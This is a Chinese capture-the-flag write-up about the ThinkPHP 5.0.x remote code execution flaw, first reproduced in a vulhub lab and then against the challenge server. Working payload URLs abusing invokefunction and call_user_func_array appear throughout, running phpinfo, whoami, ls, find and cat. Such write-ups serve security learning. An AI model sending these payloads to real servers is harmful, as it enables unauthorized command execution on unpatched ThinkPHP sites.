CTF-攻防世界-web-php_rce(ThinkPHP遠程代碼執行)


題目

今天做CTF的時候,遇到下面這道題,看上去應該跟ThinkPHP版本5的相關漏洞。之前聽過ThinkPHP有漏洞,具體情況不清楚。。。

      

 

解題過程

去vulhub上搜了下ThinkPHP,還真有,把docker容器打開看了下,頁面一摸一樣哈哈:

這是一個遠程代碼執行漏洞,先學習vulhub復現這個漏洞的過程:

輸入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可執行phpinfo:

拉到頁面底部,看到ThinkPHP的版本是5.0.20:

 

可以執行phpinfo,那可不可以執行其他命令呢?查了一下網上的payload,如下:

輸入:http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

返回:www-data www-data

 

再回到CTF的這道題,應該考的就是這個命令執行的漏洞:

輸入:http://111.198.29.45:38658/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

輸出:成功執行phpinfo

再執行ls命令查看當前目錄

輸入:http://111.198.29.45:38658/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

返回如下,再把index.php和router.php打開看了一下,木有發現flag,再把request和response也檢查了下,也木有flag。。

再逐級查看上級目錄,最終看到一個名為flag的文件:

輸入:http://111.198.29.45:38658/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../

返回:

查看一下flag的內容:

輸入:http://111.198.29.45:38658/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag

成功找到flag

 

看了其他人寫WP,有更方便的查找文件的linux命令:find / -name "*flag*" (linux命令硬傷來了 ...>_<....)

輸入:http://111.198.29.45:38658/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22*flag*%22%

返回: 

再直接查看文件就好了:http://111.198.29.45:38658/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

比我一級一級的找省事多了。。

 

本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。

如需轉載,請注明出處,這是對他人勞動成果的尊重。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM